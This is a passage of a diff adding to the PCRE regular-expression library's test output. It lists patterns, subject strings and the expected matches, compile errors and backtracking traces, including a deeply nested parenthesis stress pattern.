+(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(00)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)
+ 0: (0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(0(00)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)0)
+
+/[\E]AAA/
+Failed: missing terminating ] for character class at offset 7
+
+/[\Q\E]AAA/
+Failed: missing terminating ] for character class at offset 9
+
+/[^\E]AAA/
+Failed: missing terminating ] for character class at offset 8
+
+/[^\Q\E]AAA/
+Failed: missing terminating ] for character class at offset 10
+
+/[\E^]AAA/
+Failed: missing terminating ] for character class at offset 8
+
+/[\Q\E^]AAA/
+Failed: missing terminating ] for character class at offset 10
+
+/A(*PRUNE)B(*SKIP)C(*THEN)D(*COMMIT)E(*F)F(*FAIL)G(?!)H(*ACCEPT)I/BZ
+------------------------------------------------------------------
+        Bra
+        A
+        *PRUNE
+        B
+        *SKIP
+        C
+        *THEN
+        D
+        *COMMIT
+        E
+        *FAIL
+        F
+        *FAIL
+        G
+        *FAIL
+        H
+        *ACCEPT
+        I
+        Ket
+        End
+------------------------------------------------------------------
+
+/^a+(*FAIL)/
+    aaaaaa
+No match
+    
+/a+b?c+(*FAIL)/
+    aaabccc
+No match
+
+/a+b?(*PRUNE)c+(*FAIL)/
+    aaabccc
+No match
+
+/a+b?(*COMMIT)c+(*FAIL)/
+    aaabccc
+No match
+    
+/a+b?(*SKIP)c+(*FAIL)/
+    aaabcccaaabccc
+No match
+
+/^(?:aaa(*THEN)\w{6}|bbb(*THEN)\w{5}|ccc(*THEN)\w{4}|\w{3})/
+    aaaxxxxxx
+ 0: aaaxxxxxx
+    aaa++++++ 
+ 0: aaa
+    bbbxxxxx
+ 0: bbbxxxxx
+    bbb+++++ 
+ 0: bbb
+    cccxxxx
+ 0: cccxxxx
+    ccc++++ 
+ 0: ccc
+    dddddddd   
+ 0: ddd
+
+/^(aaa(*THEN)\w{6}|bbb(*THEN)\w{5}|ccc(*THEN)\w{4}|\w{3})/
+    aaaxxxxxx
+ 0: aaaxxxxxx
+ 1: aaaxxxxxx
+    aaa++++++ 
+ 0: aaa
+ 1: aaa
+    bbbxxxxx
+ 0: bbbxxxxx
+ 1: bbbxxxxx
+    bbb+++++ 
+ 0: bbb
+ 1: bbb
+    cccxxxx
+ 0: cccxxxx
+ 1: cccxxxx
+    ccc++++ 
+ 0: ccc
+ 1: ccc
+    dddddddd   
+ 0: ddd
+ 1: ddd
+
+/a+b?(*THEN)c+(*FAIL)/
+    aaabccc
+No match
+
+/(A (A|B(*ACCEPT)|C) D)(E)/x
+    ABX
+ 0: AB
+    AADE
+ 0: AADE
+ 1: AAD
+ 2: A
+ 3: E
+    ACDE
+ 0: ACDE
+ 1: ACD
+ 2: C
+ 3: E
+    ** Failers
+No match
+    AD 
+No match
+        
+/^a+(*FAIL)/C
+    aaaaaa
+--->aaaaaa
+ +0 ^          ^
+ +1 ^          a+
+ +3 ^     ^    (*FAIL)
+ +3 ^    ^     (*FAIL)
+ +3 ^   ^      (*FAIL)
+ +3 ^  ^       (*FAIL)
+ +3 ^ ^        (*FAIL)
+ +3 ^^         (*FAIL)
+No match
+    
+/a+b?c+(*FAIL)/C
+    aaabccc
+--->aaabccc
+ +0 ^           a+
+ +2 ^  ^        b?
+ +4 ^   ^       c+
+ +6 ^      ^    (*FAIL)
+ +6 ^     ^     (*FAIL)
+ +6 ^    ^      (*FAIL)
+ +4 ^  ^        c+
+ +2 ^ ^         b?
+ +4 ^ ^         c+
+ +2 ^^          b?
+ +4 ^^          c+
+ +0  ^          a+
+ +2  ^ ^        b?
+ +4  ^  ^       c+
+ +6  ^     ^    (*FAIL)
+ +6  ^    ^     (*FAIL)
+ +6  ^   ^      (*FAIL)
+ +4  ^ ^        c+
+ +2  ^^         b?
+ +4  ^^         c+
+ +0   ^         a+
+ +2   ^^        b?
+ +4   ^ ^       c+
+ +6   ^    ^    (*FAIL)
+ +6   ^   ^     (*FAIL)
+ +6   ^  ^      (*FAIL)
+ +4   ^^        c+
+No match
+
+/a+b?(*PRUNE)c+(*FAIL)/C
+    aaabccc
+--->aaabccc
+ +0 ^           a+
+ +2 ^  ^        b?
+ +4 ^   ^       (*PRUNE)
++12 ^   ^       c+
++14 ^      ^    (*FAIL)
++14 ^     ^     (*FAIL)
++14 ^    ^      (*FAIL)
+ +0  ^          a+
+ +2  ^ ^        b?
+ +4  ^  ^       (*PRUNE)
++12  ^  ^       c+
++14  ^     ^    (*FAIL)
++14  ^    ^     (*FAIL)
++14  ^   ^      (*FAIL)
+ +0   ^         a+
+ +2   ^^        b?
+ +4   ^ ^       (*PRUNE)
++12   ^ ^       c+
++14   ^    ^    (*FAIL)
++14   ^   ^     (*FAIL)
++14   ^  ^      (*FAIL)
+No match
+
+/a+b?(*COMMIT)c+(*FAIL)/C
+    aaabccc
+--->aaabccc
+ +0 ^           a+
+ +2 ^  ^        b?
+ +4 ^   ^       (*COMMIT)
++13 ^   ^       c+
++15 ^      ^    (*FAIL)
++15 ^     ^     (*FAIL)
++15 ^    ^      (*FAIL)
+No match
+    
+/a+b?(*SKIP)c+(*FAIL)/C
+    aaabcccaaabccc
+--->aaabcccaaabccc
+ +0 ^                  a+
+ +2 ^  ^               b?
+ +4 ^   ^              (*SKIP)
++11 ^   ^              c+
++13 ^      ^           (*FAIL)
++13 ^     ^            (*FAIL)
++13 ^    ^             (*FAIL)
+ +0        ^           a+
+ +2        ^  ^        b?
+ +4        ^   ^       (*SKIP)
++11        ^   ^       c+
++13        ^      ^    (*FAIL)
++13        ^     ^     (*FAIL)
++13        ^    ^      (*FAIL)
+No match
+
+/a+b?(*THEN)c+(*FAIL)/C
+    aaabccc
+--->aaabccc
+ +0 ^           a+
+ +2 ^  ^        b?
+ +4 ^   ^       (*THEN)
++11 ^   ^       c+
++13 ^      ^    (*FAIL)
++13 ^     ^     (*FAIL)
++13 ^    ^      (*FAIL)
+ +0  ^          a+
+ +2  ^ ^        b?
+ +4  ^  ^       (*THEN)
++11  ^  ^       c+
++13  ^     ^    (*FAIL)
++13  ^    ^     (*FAIL)
++13  ^   ^      (*FAIL)
+ +0   ^         a+
+ +2   ^^        b?
+ +4   ^ ^       (*THEN)
++11   ^ ^       c+
++13   ^    ^    (*FAIL)
++13   ^   ^     (*FAIL)
++13   ^  ^      (*FAIL)
+No match
+    
+/a(*PRUNE:XXX)b/
+Failed: (*VERB) with an argument is not supported at offset 8
+
+/a(*MARK)b/ 
+Failed: (*VERB) not recognized at offset 7
+
+/(?i:A{1,}\6666666666)/
+Failed: number is too big at offset 19
+
+/\g6666666666/
+Failed: number is too big at offset 11
+
+/[\g6666666666]/
+Failed: number is too big at offset 12
+
+/(?1)\c[/
+Failed: reference to non-existent subpattern at offset 3
+
+/.+A/<crlf>
+    \r\nA
+No match
+    
+/\nA/<crlf>
+    \r\nA 
+ 0: \x0aA
+
+/[\r\n]A/<crlf>
+    \r\nA 
+ 0: \x0aA
+
+/(\r|\n)A/<crlf>
+    \r\nA 
+ 0: \x0aA
+ 1: \x0a
+
+/a(*CR)b/
+Failed: (*VERB) not recognized at offset 5
+
+/(*CR)a.b/
+    a\nb
+ 0: a\x0ab
+    ** Failers
+No match
+    a\rb  
+No match
+
+/(*CR)a.b/<lf>
+    a\nb
+ 0: a\x0ab
+    ** Failers
+No match
+    a\rb  
+No match
+
+/(*LF)a.b/<CRLF>
+    a\rb
+ 0: a\x0db
+    ** Failers
+No match
+    a\nb  
+No match
+
+/(*CRLF)a.b/
+    a\rb
+ 0: a\x0db
+    a\nb  
+ 0: a\x0ab
+    ** Failers
+No match
+    a\r\nb  
+No match
+
+/(*ANYCRLF)a.b/<CR>
+    ** Failers
+No match
+    a\rb
+No match
+    a\nb  
+No match
+    a\r\nb  
+No match
+
+/(*ANY)a.b/<cr>
+    ** Failers
+No match
+    a\rb
+No match
+    a\nb  
+No match
+    a\r\nb  
+No match
+    a\x85b 
+No match
+
+/a\Rb/I<bsr_anycrlf>
+Capturing subpattern count = 0
+Options: bsr_anycrlf
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x0db
+    a\nb
+ 0: a\x0ab
+    a\r\nb
+ 0: a\x0d\x0ab
+    ** Failers
+No match
+    a\x85b
+No match
+    a\x0bb     
+No match
+
+/a\Rb/I<bsr_unicode>
+Capturing subpattern count = 0
+Options: bsr_unicode
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x0db
+    a\nb
+ 0: a\x0ab
+    a\r\nb
+ 0: a\x0d\x0ab
+    a\x85b
+ 0: a\x85b
+    a\x0bb     
+ 0: a\x0bb
+    ** Failers 
+No match
+    a\x85b\<bsr_anycrlf>
+No match
+    a\x0bb\<bsr_anycrlf>
+No match
+    
+/a\R?b/I<bsr_anycrlf>
+Capturing subpattern count = 0
+Options: bsr_anycrlf
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x0db
+    a\nb
+ 0: a\x0ab
+    a\r\nb
+ 0: a\x0d\x0ab
+    ** Failers
+No match
+    a\x85b
+No match
+    a\x0bb     
+No match
+
+/a\R?b/I<bsr_unicode>
+Capturing subpattern count = 0
+Options: bsr_unicode
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x0db
+    a\nb
+ 0: a\x0ab
+    a\r\nb
+ 0: a\x0d\x0ab
+    a\x85b
+ 0: a\x85b
+    a\x0bb     
+ 0: a\x0bb
+    ** Failers 
+No match
+    a\x85b\<bsr_anycrlf>
+No match
+    a\x0bb\<bsr_anycrlf>
+No match
+    
+/a\R{2,4}b/I<bsr_anycrlf>
+Capturing subpattern count = 0
+Partial matching not supported
+Options: bsr_anycrlf
+First char = 'a'
+Need char = 'b'
+    a\r\n\nb
+ 0: a\x0d\x0a\x0ab
+    a\n\r\rb
+ 0: a\x0a\x0d\x0db
+    a\r\n\r\n\r\n\r\nb
+ 0: a\x0d\x0a\x0d\x0a\x0d\x0a\x0d\x0ab
+    ** Failers
+No match
+    a\x85\85b
+No match
+    a\x0b\0bb     
+No match
+
+/a\R{2,4}b/I<bsr_unicode>
+Capturing subpattern count = 0
+Partial matching not supported
+Options: bsr_unicode
+First char = 'a'
+Need char = 'b'
+    a\r\rb
+ 0: a\x0d\x0db
+    a\n\n\nb
+ 0: a\x0a\x0a\x0ab
+    a\r\n\n\r\rb
+ 0: a\x0d\x0a\x0a\x0d\x0db
+    a\x85\85b
+No match
+    a\x0b\0bb     
+No match
+    ** Failers 
+No match
+    a\r\r\r\r\rb 
+No match
+    a\x85\85b\<bsr_anycrlf>
+No match
+    a\x0b\0bb\<bsr_anycrlf>
+No match
+ 
+/(*BSR_ANYCRLF)a\Rb/I
+Capturing subpattern count = 0
+Options: bsr_anycrlf
+First char = 'a'
+Need char = 'b'
+    a\nb
+ 0: a\x0ab
+    a\rb 
+ 0: a\x0db
+
+/(*BSR_UNICODE)a\Rb/I
+Capturing subpattern count = 0
+Options: bsr_unicode
+First char = 'a'
+Need char = 'b'
+    a\x85b
+ 0: a\x85b
+
+/(*BSR_ANYCRLF)(*CRLF)a\Rb/I
+Capturing subpattern count = 0
+Options: bsr_anycrlf
+Forced newline sequence: CRLF
+First char = 'a'
+Need char = 'b'
+    a\nb
+ 0: a\x0ab
+    a\rb 
+ 0: a\x0db
+
+/(*CRLF)(*BSR_UNICODE)a\Rb/I
+Capturing subpattern count = 0
+Options: bsr_unicode
+Forced newline sequence: CRLF
+First char = 'a'
+Need char = 'b'
+    a\x85b
+ 0: a\x85b
+
+/(*CRLF)(*BSR_ANYCRLF)(*CR)ab/I
+Capturing subpattern count = 0
+Options: bsr_anycrlf
+Forced newline sequence: CR
+First char = 'a'
+Need char = 'b'
+
+/(?<a>)(?&)/
+Failed: subpattern name expected at offset 9
+
+/(?<abc>)(?&a)/
+Failed: reference to non-existent subpattern at offset 12
+
+/(?<a>)(?&aaaaaaaaaaaaaaaaaaaaaaa)/
+Failed: reference to non-existent subpattern at offset 32
+
+/(?+-a)/
+Failed: digit expected after (?+ at offset 3
+
+/(?-+a)/
+Failed: unrecognized character after (? or (?- at offset 3
+
+/(?(-1))/
+Failed: reference to non-existent subpattern at offset 6
+
+/(?(+10))/
+Failed: reference to non-existent subpattern at offset 7
+
+/(?(10))/
+Failed: reference to non-existent subpattern at offset 6
+
+/(?(+2))()()/
+
+/(?(2))()()/
+
+/\k''/
+Failed: subpattern name expected at offset 3
+
+/\k<>/
+Failed: subpattern name expected at offset 3
+
+/\k{}/
+Failed: subpattern name expected at offset 3
+
+/(?P=)/
+Failed: subpattern name expected at offset 4
+
+/(?P>)/
+Failed: subpattern name expected at offset 4
+
+/(?!\w)(?R)/
+Failed: recursive call could loop indefinitely at offset 9
+
+/(?=\w)(?R)/
+Failed: recursive call could loop indefinitely at offset 9
+
+/(?<!\w)(?R)/
+Failed: recursive call could loop indefinitely at offset 10
+
+/(?<=\w)(?R)/
+Failed: recursive call could loop indefinitely at offset 10
+
+/[[:foo:]]/
+Failed: unknown POSIX class name at offset 3
+
+/[[:1234:]]/
+Failed: unknown POSIX class name at offset 3
+
+/[[:f\oo:]]/
+Failed: unknown POSIX class name at offset 3
+
+/[[: :]]/
+Failed: unknown POSIX class name at offset 3
+
+/[[:...:]]/
+Failed: unknown POSIX class name at offset 3
+
+/[[:l\ower:]]/
+Failed: unknown POSIX class name at offset 3
+
+/[[:abc\:]]/
+Failed: unknown POSIX class name at offset 3
+
+/[abc[:x\]pqr:]]/
+Failed: unknown POSIX class name at offset 6
+
+/[[:a\dz:]]/
+Failed: unknown POSIX class name at offset 3
+
+/^(?<name>a|b\g<name>c)/
+    aaaa
+ 0: a
+ 1: a
+    bacxxx
+ 0: bac
+ 1: bac
+    bbaccxxx 
+ 0: bbacc
+ 1: bbacc
+    bbbacccxx
+ 0: bbbaccc
+ 1: bbbaccc
+
+/^(?<name>a|b\g'name'c)/
+    aaaa
+ 0: a
+ 1: a
+    bacxxx
+ 0: bac
+ 1: bac
+    bbaccxxx 
+ 0: bbacc
+ 1: bbacc
+    bbbacccxx
+ 0: bbbaccc
+ 1: bbbaccc
